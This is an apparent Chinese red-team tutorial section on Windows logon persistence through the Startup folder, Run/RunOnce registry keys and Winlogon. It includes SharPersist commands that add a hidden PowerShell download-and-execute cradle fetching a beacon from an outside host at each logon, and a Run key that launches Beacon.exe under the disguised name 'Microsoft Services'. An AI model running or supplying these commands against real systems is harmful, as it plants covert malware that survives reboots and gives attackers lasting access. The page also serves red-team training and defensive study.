Skip to main content

启动与登陆触发

我们还可以通过登陆操作来触发特定任务。与登陆相关的实现方式有数种,但实现效果是相似的。

1:Startup 文件夹

每个用户都拥有一个文件夹 C:\Users\[User Name]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 。如果我们在其中放置一个可执行文件,当前用户会在登陆的时候触发载荷。如果我们是想让所有用户都执行该载荷,那么我们可以放在 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 文件夹下

我们还可以通过SharPersist工具实现:SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden iex(new-object net.webclient).downloadstring('http://host/beacon')" -f "Setup" -m add

 

2:Run与RunOnce

我们还可以通过修改注册表Run与RunOnce实现。

注册表位置:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

image.png

我们也可以通过SharPersist工具来实现,命令为 SharPersist.exe -t reg -c "C:\Windows\Tasks\Beacon.exe" -a "/q /n" -k "hkcurun" -v "Microsoft Services" -m add

3:Winlogon

之前的章节提到,我们可能在注册表的Winlogon区域提取到明文帐号密码,但实际上我们也可以用来实现持久化。我们注意到,一些条目指向可执行文件,例如Userinit。我们直接替换的话,可能影响原本功能,因此我们额外添加一句命令。

image.png